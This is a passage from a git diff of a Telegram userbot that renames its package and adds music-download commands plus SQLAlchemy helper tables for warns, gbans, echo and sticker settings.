pattern="^.netease(?: |$)(.*)") +@borg.on(admin_cmd("songs ?(.*)")) +async def WooMai(netase): + if netase.fwd_from: + return + song = netase.pattern_match.group(1) + chat = "@WooMaiBot" + link = f"/netease {song}" + await netase.edit("```Getting Your Music```") + async with bot.conversation(chat) as conv: + await asyncio.sleep(2) + await netase.edit("`Downloading...Please wait`") + try: + msg = await conv.send_message(link) + response = await conv.get_response() + respond = await conv.get_response() + """ - don't spam notif - """ + await bot.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await netase.edit("```Please unblock @WooMaiBot and try again```") + return + await netase.edit("`Sending Your Music...weit!😎`") + await asyncio.sleep(3) + await bot.send_file(netase.chat_id, respond) + await netase.client.delete_messages(conv.chat_id, [msg.id, response.id, respond.id]) + await netase.delete() + + +@borg.on(admin_cmd("song ?(.*)")) +async def _(event): + try: + await event.client(ImportChatInviteRequest("DdR2SUvJPBouSW4QlbJU4g")) + except UserAlreadyParticipantError: + pass + except: + await event.reply( + "You need to join [this](https://t.me/joinchat/DdR2SUvJPBouSW4QlbJU4g) group for this module to work.", + link_preview=False, + ) + return + args = event.pattern_match.group(1) + if not args: + await event.edit("`Enter song name`") + return + chat = -1001271479322 + current_chat = event.chat_id + current_msg = event.id + try: + async for event in event.client.iter_messages( + chat, search=args, limit=1, filter=InputMessagesFilterMusic + ): + await event.client.send_file(current_chat, event, caption=event.message) + except: + await event.reply("`Song not found.`") + return + await event.client.delete_messages(current_chat, current_msg) + + +IF_EMOJI = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+" +) + + +def deEmojify(inputString: str) -> str: + """Remove emojis and other non-safe characters from string""" + return re.sub(IF_EMOJI, "", inputString) + + +@borg.on(admin_cmd(pattern="sptfy ?(.*)")) +async def FindMusicPleaseBot(gaana): + + song = gaana.pattern_match.group(1) + + chat = "@FindMusicPleaseBot" + + if not song: + + return await gaana.edit("```what should i search```") + + await gaana.edit("```Getting Your Music```") + + await asyncio.sleep(2) + + async with bot.conversation(chat) as conv: + + await gaana.edit("`Downloading...Please wait`") + + try: + + await conv.send_message(song) + + response = await conv.get_response() + + if response.text.startswith("Sorry"): + + await bot.send_read_acknowledge(conv.chat_id) + + return await gaana.edit(f"Sorry, can't find {song}") + + await conv.get_response() + + cobra = await conv.get_response() + + except YouBlockedUserError: + + await gaana.edit( + "```Please unblock``` @FindmusicpleaseBot``` and try again```" + ) + + return + + await gaana.edit("`Sending Your Music...weit!😎`") + + await bot.send_file(gaana.chat_id, cobra) + + await bot.send_read_acknowledge(conv.chat_id) + + await gaana.delete() + + +@borg.on(admin_cmd(pattern="deez(?: |$)(.*)")) +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + (await doit.get_reply_message()).message + else: + await doit.edit( + "`Sir please give some query to search and download it for you..!`" + ) + return + sticcers = await bot.inline_query("DeezerMusicBot", f"{(deEmojify(ok))}") + await sticcers[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) + await doit.delete() + + +@borg.on(admin_cmd(pattern="gaana ?(.*)")) +async def FindMusicPleaseBot(gaana): + + song = gaana.pattern_match.group(1) + + chat = "@FindMusicPleaseBot" + + if not song: + + return await gaana.edit("```what should i search```") + + await gaana.edit("```Getting Your Music```") + + await asyncio.sleep(2) + + async with bot.conversation(chat) as conv: + + await gaana.edit("`Downloading...Please wait`") + + try: + + await conv.send_message(song) + + response = await conv.get_response() + + if response.text.startswith("Sorry"): + + await bot.send_read_acknowledge(conv.chat_id) + + return await gaana.edit(f"Sorry, can't find {song}") + + await conv.get_response() + + cobra = await conv.get_response() + + except YouBlockedUserError: + + await gaana.edit( + "```Please unblock``` @FindmusicpleaseBot``` and try again```" + ) + + return + + await gaana.edit("`Sending Your Music...wait!!! 😉😎`") + + await bot.send_file(gaana.chat_id, cobra) + + await bot.send_read_acknowledge(conv.chat_id) + + await gaana.delete() + + +CMD_HELP.update( + { + "songs": "__**PLUGIN NAME :** All Songs __\ + \n\n📌** CMD ★** `.songs (name)`\ + \n**USAGE ★ **Send u a song \ + \n\n📌** CMD ★** `.song (name)`\ + \n**USAGE ★ **Send u a song \ + \n\n📌** CMD ★** `.gaana (name)`\ + \n**USAGE ★ **Send u a song with gaana \ + \n\n📌** CMD ★** `.sptfy (name)`\ + \n**USAGE ★ **Send u song(best for Sri lankan songs)\ + \n\n📌** CMD ★** `.deez (name)`\ + \n**USAGE ★ **Send u song (note:- u can use .vsong/.uta/.utv (name) too for songs 😁😁" + } +) diff --git a/fridaybot/modules/sp_search.py b/virtualuserbot/modules/sp_search.py similarity index 100% rename from fridaybot/modules/sp_search.py rename to virtualuserbot/modules/sp_search.py diff --git a/fridaybot/modules/spacedp.py b/virtualuserbot/modules/spacedp.py similarity index 94% rename from fridaybot/modules/spacedp.py rename to virtualuserbot/modules/spacedp.py index 28cc5750..9f788eb4 100644 --- a/fridaybot/modules/spacedp.py +++ b/virtualuserbot/modules/spacedp.py @@ -7,8 +7,8 @@ import requests from telethon.tl import functions -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd # Space lovers COLLECTION_STRINGS = [ diff --git a/fridaybot/modules/speedtest.py b/virtualuserbot/modules/speedtest.py similarity index 97% rename from fridaybot/modules/speedtest.py rename to virtualuserbot/modules/speedtest.py index 8948ddce..1e19df41 100644 --- a/fridaybot/modules/speedtest.py +++ b/virtualuserbot/modules/speedtest.py @@ -5,8 +5,8 @@ import speedtest -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("speedtest ?(.*)")) diff --git a/virtualuserbot/modules/sql_helper/PostAppender_sql.py b/virtualuserbot/modules/sql_helper/PostAppender_sql.py new file mode 100644 index 00000000..7b902f20 --- /dev/null +++ b/virtualuserbot/modules/sql_helper/PostAppender_sql.py @@ -0,0 +1,57 @@ +from sqlalchemy import Boolean, Column, String, UnicodeText + +from virtualuserbot.modules.sql_helper import BASE, SESSION + + +class Pa(BASE): + __tablename__ = "pa" + chat_id = Column(String(14), primary_key=True) + textto_append = Column(UnicodeText) + append_foot = Column(Boolean, default=False) + + def __init__(self, chat_id, textto_append, append_foot): + self.chat_id = chat_id + self.append_foot = append_foot + self.textto_append = textto_append + + +Pa.__table__.create(checkfirst=True) + + +def add_new_datas_in_db(chat_id: int, textto_append, append_foot): + setting_adder = Pa(str(chat_id), textto_append, append_foot) + SESSION.add(setting_adder) + SESSION.commit() + + +def get_all_setting_data(chat_id: int): + try: + s__ = SESSION.query(Pa).get(str(chat_id)) + return int(s__.chat_id), s__.append_foot, s__.textto_append + finally: + SESSION.close() + + +def is_data_indbs(chat_id: int): + try: + s__ = SESSION.query(Pa).get(str(chat_id)) + if s__: + return s__.textto_append + finally: + SESSION.close() + + +def is_footer(chat_id: int): + try: + s__ = SESSION.query(Pa).get(str(chat_id)) + if s__: + return s__.append_foot + finally: + SESSION.close() + + +def remove_dataz(chat_id): + lul = SESSION.query(Pa).get(str(chat_id)) + if lul: + SESSION.delete(lul) + SESSION.commit() diff --git a/fridaybot/modules/sql_helper/__init__.py b/virtualuserbot/modules/sql_helper/__init__.py similarity index 100% rename from fridaybot/modules/sql_helper/__init__.py rename to virtualuserbot/modules/sql_helper/__init__.py diff --git a/fridaybot/modules/sql_helper/blacklist_assistant.py b/virtualuserbot/modules/sql_helper/blacklist_assistant.py similarity index 100% rename from fridaybot/modules/sql_helper/blacklist_assistant.py rename to virtualuserbot/modules/sql_helper/blacklist_assistant.py diff --git a/fridaybot/modules/sql_helper/blacklist_sql.py b/virtualuserbot/modules/sql_helper/blacklist_sql.py similarity index 97% rename from fridaybot/modules/sql_helper/blacklist_sql.py rename to virtualuserbot/modules/sql_helper/blacklist_sql.py index c32d3923..6c21d253 100644 --- a/fridaybot/modules/sql_helper/blacklist_sql.py +++ b/virtualuserbot/modules/sql_helper/blacklist_sql.py @@ -2,7 +2,7 @@ from sqlalchemy import Column, String, UnicodeText, distinct, func -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION class BlackListFilters(BASE): diff --git a/fridaybot/modules/sql_helper/botusers_sql.py b/virtualuserbot/modules/sql_helper/botusers_sql.py similarity index 92% rename from fridaybot/modules/sql_helper/botusers_sql.py rename to virtualuserbot/modules/sql_helper/botusers_sql.py index 3d47cf7c..c9d30228 100644 --- a/fridaybot/modules/sql_helper/botusers_sql.py +++ b/virtualuserbot/modules/sql_helper/botusers_sql.py @@ -22,7 +22,7 @@ class Users(BASE): - """ Table to store the received messages """ + """Table to store the received messages""" __tablename__ = "users" message_id = Column(Integer, primary_key=True) @@ -42,14 +42,14 @@ def __repr__(self): def add_me_in_db(message_id: int, chat_id: int, um_id: int): - """ add the message to the table """ + """add the message to the table""" __user = Users(message_id, str(chat_id), um_id) SESSION.add(__user) SESSION.commit() def his_userid(message_id: int): - """ get the user_id from the message_id """ + """get the user_id from the message_id""" try: s__ = SESSION.query(Users).get(str(message_id)) return int(s__.chat_id), s__.um_id diff --git a/fridaybot/modules/sql_helper/broadcast_sql.py b/virtualuserbot/modules/sql_helper/broadcast_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/broadcast_sql.py rename to virtualuserbot/modules/sql_helper/broadcast_sql.py diff --git a/virtualuserbot/modules/sql_helper/channel_sticker_sql.py b/virtualuserbot/modules/sql_helper/channel_sticker_sql.py new file mode 100644 index 00000000..1503c834 --- /dev/null +++ b/virtualuserbot/modules/sql_helper/channel_sticker_sql.py @@ -0,0 +1,46 @@ +from sqlalchemy import Column, String, UnicodeText + +from virtualuserbot.modules.sql_helper import BASE, SESSION + + +class Cst(BASE): + __tablename__ = "cst" + chat_id = Column(String(14), primary_key=True) + sticker_token = Column(UnicodeText) + + def __init__(self, chat_id, sticker_token): + self.chat_id = chat_id + self.sticker_token = sticker_token + + +Cst.__table__.create(checkfirst=True) + + +def add_new_data_in_db(chat_id: int, sticker_token): + sticker_adder = Cst(str(chat_id), sticker_token) + SESSION.add(sticker_adder) + SESSION.commit() + + +def get_all_st_data(chat_id: int): + try: + s__ = SESSION.query(Cst).get(str(chat_id)) + return int(s__.chat_id), s__.sticker_token + finally: + SESSION.close() + + +def is_data_indb(chat_id: int): + try: + s__ = SESSION.query(Cst).get(str(chat_id)) + if s__: + return s__.sticker_token + finally: + SESSION.close() + + +def remove_datas(chat_id): + sed = SESSION.query(Cst).get(str(chat_id)) + if sed: + SESSION.delete(sed) + SESSION.commit() diff --git a/virtualuserbot/modules/sql_helper/echo_sql.py b/virtualuserbot/modules/sql_helper/echo_sql.py new file mode 100644 index 00000000..09ec0040 --- /dev/null +++ b/virtualuserbot/modules/sql_helper/echo_sql.py @@ -0,0 +1,47 @@ +from sqlalchemy import Column, String + +from virtualuserbot.modules.sql_helper import BASE, SESSION + + +class ECHOSQL(BASE): + __tablename__ = "echo_sql" + user_id = Column(String(14), primary_key=True) + chat_id = Column(String(14), primary_key=True) + + def __init__(self, user_id, chat_id): + self.user_id = str(user_id) + self.chat_id = str(chat_id) + + +ECHOSQL.__table__.create(checkfirst=True) + + +def is_echo(user_id, chat_id): + try: + return SESSION.query(ECHOSQL).get((str(user_id), str(chat_id))) + except BaseException: + return None + finally: + SESSION.close() + + +def get_all_echos(): + try: + return SESSION.query(ECHOSQL).all() + except BaseException: + return None + finally: + SESSION.close() + + +def addecho(user_id, chat_id): + adder = ECHOSQL(str(user_id), str(chat_id)) + SESSION.add(adder) + SESSION.commit() + + +def remove_echo(user_id, chat_id): + note = SESSION.query(ECHOSQL).get((str(user_id), str(chat_id))) + if note: + SESSION.delete(note) + SESSION.commit() diff --git a/virtualuserbot/modules/sql_helper/feds_sql.py b/virtualuserbot/modules/sql_helper/feds_sql.py new file mode 100644 index 00000000..15a98a1e --- /dev/null +++ b/virtualuserbot/modules/sql_helper/feds_sql.py @@ -0,0 +1,42 @@ +from sqlalchemy import Column, UnicodeText + +from virtualuserbot.modules.sql_helper import BASE, SESSION + + +class Fed(BASE): + __tablename__ = "fed" + feds = Column(UnicodeText, primary_key=True) + + def __init__(self, feds): + self.feds = feds + + +Fed.__table__.create(checkfirst=True) + + +def add_fed(feds): + feddy = Fed(feds) + SESSION.add(feddy) + SESSION.commit() + + +def rmfed(feds): + rmfeddy = SESSION.query(Fed).get(feds) + if rmfeddy: + SESSION.delete(rmfeddy) + SESSION.commit() + + +def get_all_feds(): + stark = SESSION.query(Fed).all() + SESSION.close() + return stark + + +def is_fed_indb(feds): + try: + return SESSION.query(Fed).filter(Fed.feds == feds).one() + except: + return None + finally: + SESSION.close() diff --git a/fridaybot/modules/sql_helper/filter_sql.py b/virtualuserbot/modules/sql_helper/filter_sql.py similarity index 97% rename from fridaybot/modules/sql_helper/filter_sql.py rename to virtualuserbot/modules/sql_helper/filter_sql.py index 200b2111..85bbbd09 100644 --- a/fridaybot/modules/sql_helper/filter_sql.py +++ b/virtualuserbot/modules/sql_helper/filter_sql.py @@ -1,6 +1,6 @@ from sqlalchemy import Column, LargeBinary, Numeric, String, UnicodeText -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION class Filters(BASE): diff --git a/fridaybot/modules/sql_helper/floodsql.py b/virtualuserbot/modules/sql_helper/floodsql.py similarity index 73% rename from fridaybot/modules/sql_helper/floodsql.py rename to virtualuserbot/modules/sql_helper/floodsql.py index b1b5436f..c5bd85b0 100644 --- a/fridaybot/modules/sql_helper/floodsql.py +++ b/virtualuserbot/modules/sql_helper/floodsql.py @@ -2,7 +2,7 @@ from sqlalchemy import Column, Integer, String -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION DEF_COUNT = 0 DEF_LIMIT = 0 @@ -46,23 +46,24 @@ def set_flood(chat_id, amount): def update_flood(chat_id: str, user_id) -> bool: - if str(chat_id) not in CHAT_FLOOD: - return - curr_user_id, count, limit = CHAT_FLOOD.get(str(chat_id), DEF_OBJ) - if limit == 0: # no antiflood - return False - if user_id != curr_user_id or user_id is None: # other user - CHAT_FLOOD[str(chat_id)] = (user_id, DEF_COUNT + 1, limit) - return False + if str(chat_id) in CHAT_FLOOD: + curr_user_id, count, limit = CHAT_FLOOD.get(str(chat_id), DEF_OBJ) + + if limit == 0: # no antiflood + return False - count += 1 - if count > limit: # too many msgs, kick - CHAT_FLOOD[str(chat_id)] = (None, DEF_COUNT, limit) - return True + if user_id != curr_user_id or user_id is None: # other user + CHAT_FLOOD[str(chat_id)] = (user_id, DEF_COUNT + 1, limit) + return False - # default -> update - CHAT_FLOOD[str(chat_id)] = (user_id, count, limit) - return False + count += 1 + if count > limit: # too many msgs, kick + CHAT_FLOOD[str(chat_id)] = (None, DEF_COUNT, limit) + return True + + # default -> update + CHAT_FLOOD[str(chat_id)] = (user_id, count, limit) + return False def get_flood_limit(chat_id): diff --git a/virtualuserbot/modules/sql_helper/gban_sql.py b/virtualuserbot/modules/sql_helper/gban_sql.py new file mode 100644 index 00000000..10930fc1 --- /dev/null +++ b/virtualuserbot/modules/sql_helper/gban_sql.py @@ -0,0 +1,60 @@ +# Copyright (C) Midhun KM 2020-2021 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + + +from sqlalchemy import Column, String, UnicodeText + +from virtualuserbot.modules.sql_helper import BASE, SESSION + + +class Gban(BASE): + __tablename__ = "gban" + user_id = Column(String(14), primary_key=True) + reason = Column(UnicodeText) + + def __init__(self, user_id, reason): + self.user_id = user_id + self.reason = reason + + +Gban.__table__.create(checkfirst=True) + + +def gban_user(user_id: int, reason): + gbanner = Gban(str(user_id), reason) + SESSION.add(gbanner) + SESSION.commit() + + +def gban_data(user_id: int): + try: + s__ = SESSION.query(Gban).get(str(user_id)) + return int(s__.user_id), s__.reason + finally: + SESSION.close() + + +def is_gbanned(user_id: int): + try: + s__ = SESSION.query(Gban).get(str(user_id)) + if s__: + return s__.reason + finally: + SESSION.close() + + +def ungban_user(user_id): + ungbanner = SESSION.query(Gban).get(str(user_id)) + if ungbanner: + SESSION.delete(ungbanner) + SESSION.commit() diff --git a/fridaybot/modules/sql_helper/globelmute_sql.py b/virtualuserbot/modules/sql_helper/globelmute_sql.py similarity index 92% rename from fridaybot/modules/sql_helper/globelmute_sql.py rename to virtualuserbot/modules/sql_helper/globelmute_sql.py index a38a57c9..df4a54da 100644 --- a/fridaybot/modules/sql_helper/globelmute_sql.py +++ b/virtualuserbot/modules/sql_helper/globelmute_sql.py @@ -1,7 +1,7 @@ # From Javes 05 Userbot ( For Gmute Plugin ) For Test ( I know I have it already but Wait Let Me Do Test ) try: - from fridaybot.modules.sql_helper import BASE, SESSION + from virtualuserbot.modules.sql_helper import BASE, SESSION except ImportError: raise AttributeError diff --git a/fridaybot/modules/sql_helper/gmute_sql.py b/virtualuserbot/modules/sql_helper/gmute_sql.py similarity index 91% rename from fridaybot/modules/sql_helper/gmute_sql.py rename to virtualuserbot/modules/sql_helper/gmute_sql.py index 22b21b9d..cdaa2947 100644 --- a/fridaybot/modules/sql_helper/gmute_sql.py +++ b/virtualuserbot/modules/sql_helper/gmute_sql.py @@ -1,5 +1,5 @@ try: - from fridaybot.modules.sql_helper import BASE, SESSION + from virtualuserbot.modules.sql_helper import BASE, SESSION except ImportError: raise Exception("Hello!") diff --git a/fridaybot/modules/sql_helper/idadder_sql.py b/virtualuserbot/modules/sql_helper/idadder_sql.py similarity index 100% rename from fridaybot/modules/sql_helper/idadder_sql.py rename to virtualuserbot/modules/sql_helper/idadder_sql.py diff --git a/fridaybot/modules/sql_helper/locks_sql.py b/virtualuserbot/modules/sql_helper/locks_sql.py similarity index 97% rename from fridaybot/modules/sql_helper/locks_sql.py rename to virtualuserbot/modules/sql_helper/locks_sql.py index d53bf8ab..30fb133b 100644 --- a/fridaybot/modules/sql_helper/locks_sql.py +++ b/virtualuserbot/modules/sql_helper/locks_sql.py @@ -1,6 +1,6 @@ from sqlalchemy import Boolean, Column, String -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION class Locks(BASE): diff --git a/fridaybot/modules/sql_helper/lydia_ai_sql.py b/virtualuserbot/modules/sql_helper/lydia_ai_sql.py similarity index 95% rename from fridaybot/modules/sql_helper/lydia_ai_sql.py rename to virtualuserbot/modules/sql_helper/lydia_ai_sql.py index ee48cb0d..7896f2e3 100644 --- a/fridaybot/modules/sql_helper/lydia_ai_sql.py +++ b/virtualuserbot/modules/sql_helper/lydia_ai_sql.py @@ -1,6 +1,6 @@ from sqlalchemy import Column, Numeric, UnicodeText -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION class LydiaAI(BASE): diff --git a/fridaybot/modules/sql_helper/mute_sql.py b/virtualuserbot/modules/sql_helper/mute_sql.py similarity index 93% rename from fridaybot/modules/sql_helper/mute_sql.py rename to virtualuserbot/modules/sql_helper/mute_sql.py index 5c59525d..641c01af 100644 --- a/fridaybot/modules/sql_helper/mute_sql.py +++ b/virtualuserbot/modules/sql_helper/mute_sql.py @@ -1,5 +1,5 @@ try: - from fridaybot.modules.sql_helper import BASE, SESSION + from virtualuserbot.modules.sql_helper import BASE, SESSION except ImportError: raise Exception("Hello!") diff --git a/fridaybot/modules/sql_helper/notes_sql.py b/virtualuserbot/modules/sql_helper/notes_sql.py similarity index 95% rename from fridaybot/modules/sql_helper/notes_sql.py rename to virtualuserbot/modules/sql_helper/notes_sql.py index 943c1def..a1e2eb18 100644 --- a/fridaybot/modules/sql_helper/notes_sql.py +++ b/virtualuserbot/modules/sql_helper/notes_sql.py @@ -1,5 +1,5 @@ try: - from fridaybot.modules.sql_helper import BASE, SESSION + from virtualuserbot.modules.sql_helper import BASE, SESSION except ImportError: raise Exception("Hello!") from sqlalchemy import Column, String, UnicodeText diff --git a/fridaybot/modules/sql_helper/pmpermit_sql.py b/virtualuserbot/modules/sql_helper/pmpermit_sql.py similarity index 93% rename from fridaybot/modules/sql_helper/pmpermit_sql.py rename to virtualuserbot/modules/sql_helper/pmpermit_sql.py index d856fe8c..c9ddb0d2 100644 --- a/fridaybot/modules/sql_helper/pmpermit_sql.py +++ b/virtualuserbot/modules/sql_helper/pmpermit_sql.py @@ -1,6 +1,6 @@ from sqlalchemy import Column, String -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION class PMPermit(BASE): diff --git a/fridaybot/modules/sql_helper/snips_sql.py b/virtualuserbot/modules/sql_helper/snips_sql.py similarity index 96% rename from fridaybot/modules/sql_helper/snips_sql.py rename to virtualuserbot/modules/sql_helper/snips_sql.py index 3e19cfdd..7cb0f4ca 100644 --- a/fridaybot/modules/sql_helper/snips_sql.py +++ b/virtualuserbot/modules/sql_helper/snips_sql.py @@ -1,6 +1,6 @@ from sqlalchemy import Column, LargeBinary, Numeric, UnicodeText -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION class Snips(BASE): diff --git a/virtualuserbot/modules/sql_helper/warns_sql.py b/virtualuserbot/modules/sql_helper/warns_sql.py new file mode 100644 index 00000000..c534658a --- /dev/null +++ b/virtualuserbot/modules/sql_helper/warns_sql.py @@ -0,0 +1,313 @@ +import threading + +from sqlalchemy import Boolean, Column, Integer, String, UnicodeText, distinct, func +from sqlalchemy.dialects import postgresql + +from virtualuserbot.modules.sql_helper import BASE, SESSION + + +class Warns(BASE): + __tablename__ = "warns" + + user_id = Column(Integer, primary_key=True) + chat_id = Column(String(14), primary_key=True) + num_warns = Column(Integer, default=0) + reasons = Column(postgresql.ARRAY(UnicodeText)) + + def __init__(self, user_id, chat_id): + self.user_id = user_id + self.chat_id = str(chat_id) + self.num_warns = 0 + self.reasons = [] + + def __repr__(self): + return "<{} warns for {} in {} for reasons {}>".format( + self.num_warns, self.user_id, self.chat_id, self.reasons + ) + + +class WarnFilters(BASE): + __tablename__ = "warn_filters" + chat_id = Column(String(14), primary_key=True) + keyword = Column(UnicodeText, primary_key=True, nullable=False) + reply = Column(UnicodeText, nullable=False) + + def __init__(self, chat_id, keyword, reply): + self.chat_id = str(chat_id) # ensure string + self.keyword = keyword + self.reply = reply + + def __repr__(self): + return "" % self.chat_id + + def __eq__(self, other): + return bool( + isinstance(other, WarnFilters) + and self.chat_id == other.chat_id + and self.keyword == other.keyword + ) + + +class WarnSettings(BASE): + __tablename__ = "warn_settings" + chat_id = Column(String(14), primary_key=True) + warn_limit = Column(Integer, default=3) + soft_warn = Column(Boolean, default=False) + + def __init__(self, chat_id, warn_limit=3, soft_warn=False): + self.chat_id = str(chat_id) + self.warn_limit = warn_limit + self.soft_warn = soft_warn + + def __repr__(self): + return "<{} has {} possible warns.>".format(self.chat_id, self.warn_limit) + + +Warns.__table__.create(checkfirst=True) +WarnFilters.__table__.create(checkfirst=True) +WarnSettings.__table__.create(checkfirst=True) + +WARN_INSERTION_LOCK = threading.RLock() +WARN_FILTER_INSERTION_LOCK = threading.RLock() +WARN_SETTINGS_LOCK = threading.RLock() + +WARN_FILTERS = {} + + +def warn_user(user_id, chat_id, reason=None): + with WARN_INSERTION_LOCK: + warned_user = SESSION.query(Warns).get((user_id, str(chat_id))) + if not warned_user: + warned_user = Warns(user_id, str(chat_id)) + + warned_user.num_warns += 1 + if reason: + warned_user.reasons = warned_user.reasons + [ + reason + ] # TODO:: double check this wizardry + + reasons = warned_user.reasons + num = warned_user.num_warns + + SESSION.add(warned_user) + SESSION.commit() + + return num, reasons + + +def remove_warn(user_id, chat_id): + with WARN_INSERTION_LOCK: + removed = False + warned_user = SESSION.query(Warns).get((user_id, str(chat_id))) + + if warned_user and warned_user.num_warns > 0: + warned_user.num_warns -= 1 + + SESSION.add(warned_user) + SESSION.commit() + removed = True + + SESSION.close() + return removed + + +def reset_warns(user_id, chat_id): + with WARN_INSERTION_LOCK: + warned_user = SESSION.query(Warns).get((user_id, str(chat_id))) + if warned_user: + warned_user.num_warns = 0 + warned_user.reasons = [] + + SESSION.add(warned_user) + SESSION.commit() + SESSION.close() + + +def get_warns(user_id, chat_id): + try: + user = SESSION.query(Warns).get((user_id, str(chat_id))) + if not user: + return None + reasons = user.reasons + num = user.num_warns + return num, reasons + finally: + SESSION.close() + + +def add_warn_filter(chat_id, keyword, reply): + with WARN_FILTER_INSERTION_LOCK: + warn_filt = WarnFilters(str(chat_id), keyword, reply) + + if keyword not in WARN_FILTERS.get(str(chat_id), []): + WARN_FILTERS[str(chat_id)] = sorted( + WARN_FILTERS.get(str(chat_id), []) + [keyword], + key=lambda x: (-len(x), x), + ) + + SESSION.merge(warn_filt) # merge to avoid duplicate key issues + SESSION.commit() + + +def remove_warn_filter(chat_id, keyword): + with WARN_FILTER_INSERTION_LOCK: + warn_filt = SESSION.query(WarnFilters).get((str(chat_id), keyword)) + if warn_filt: + if keyword in WARN_FILTERS.get(str(chat_id), []): # sanity check + WARN_FILTERS.get(str(chat_id), []).remove(keyword) + + SESSION.delete(warn_filt) + SESSION.commit() + return True + SESSION.close() + return False + + +def get_chat_warn_triggers(chat_id): + return WARN_FILTERS.get(str(chat_id), set()) + + +def get_chat_warn_filters(chat_id): + try: + return ( + SESSION.query(WarnFilters).filter(WarnFilters.chat_id == str(chat_id)).all() + ) + finally: + SESSION.close() + + +def get_warn_filter(chat_id, keyword): + try: + return SESSION.query(WarnFilters).get((str(chat_id), keyword)) + finally: + SESSION.close() + + +def set_warn_limit(chat_id, warn_limit): + with WARN_SETTINGS_LOCK: + curr_setting = SESSION.query(WarnSettings).get(str(chat_id)) + if not curr_setting: + curr_setting = WarnSettings(chat_id, warn_limit=warn_limit) + + curr_setting.warn_limit = warn_limit + + SESSION.add(curr_setting) + SESSION.commit() + + +def set_warn_strength(chat_id, soft_warn): + with WARN_SETTINGS_LOCK: + curr_setting = SESSION.query(WarnSettings).get(str(chat_id)) + if not curr_setting: + curr_setting = WarnSettings(chat_id, soft_warn=soft_warn) + + curr_setting.soft_warn = soft_warn + + SESSION.add(curr_setting) + SESSION.commit() + + +def get_warn_setting(chat_id): + try: + setting = SESSION.query(WarnSettings).get(str(chat_id)) + if setting: + return setting.warn_limit, setting.soft_warn + else: + return 3, False + + finally: + SESSION.close() + + +def num_warns(): + try: + return SESSION.query(func.sum(Warns.num_warns)).scalar() or 0 + finally: + SESSION.close() + + +def num_warn_chats(): + try: + return SESSION.query(func.count(distinct(Warns.chat_id))).scalar() + finally: + SESSION.close() + + +def num_warn_filters(): + try: + return SESSION.query(WarnFilters).count() + finally: + SESSION.close() + + +def num_warn_chat_filters(chat_id): + try: + return ( + SESSION.query(WarnFilters.chat_id) + .filter(WarnFilters.chat_id == str(chat_id)) + .count() + ) + finally: + SESSION.close() + + +def num_warn_filter_chats(): + try: + return SESSION.query(func.count(distinct(WarnFilters.chat_id))).scalar() + finally: + SESSION.close() + + +def __load_chat_warn_filters(): + global WARN_FILTERS + try: + chats = SESSION.query(WarnFilters.chat_id).distinct().all() + for (chat_id,) in chats: # remove tuple by ( ,) + WARN_FILTERS[chat_id] = [] + + all_filters = SESSION.query(WarnFilters).all() + for x in all_filters: + WARN_FILTERS[x.chat_id] += [x.keyword] + + WARN_FILTERS = { + x: sorted(set(y), key=lambda i: (-len(i), i)) + for x, y in WARN_FILTERS.items() + } + + finally: + SESSION.close() + + +def migrate_chat(old_chat_id, new_chat_id): + with WARN_INSERTION_LOCK: + chat_notes = ( + SESSION.query(Warns).filter(Warns.chat_id == str(old_chat_id)).all() + ) + for note in chat_notes: + note.chat_id = str(new_chat_id) + SESSION.commit() + + with WARN_FILTER_INSERTION_LOCK: + chat_filters = ( + SESSION.query(WarnFilters) + .filter(WarnFilters.chat_id == str(old_chat_id)) + .all() + ) + for filt in chat_filters: + filt.chat_id = str(new_chat_id) + SESSION.commit() + WARN_FILTERS[str(new_chat_id)] = WARN_FILTERS[str(old_chat_id)] + del WARN_FILTERS[str(old_chat_id)] + + with WARN_SETTINGS_LOCK: + chat_settings = ( + SESSION.query(WarnSettings) + .filter(WarnSettings.chat_id == str(old_chat_id)) + .all() + ) + for setting in chat_settings: + setting.chat_id = str(new_chat_id) + SESSION.commit() + + +__load_chat_warn_filters() diff --git a/fridaybot/modules/sql_helper/welcome_sql.py b/virtualuserbot/modules/sql_helper/welcome_sql.py similarity index 96% rename from fridaybot/modules/sql_helper/welcome_sql.py rename to virtualuserbot/modules/sql_helper/welcome_sql.py index 583c6e0d..03b084bb 100644 --- a/fridaybot/modules/sql_helper/welcome_sql.py +++ b/virtualuserbot/modules/sql_helper/welcome_sql.py @@ -1,6 +1,6 @@ from sqlalchemy import BigInteger, 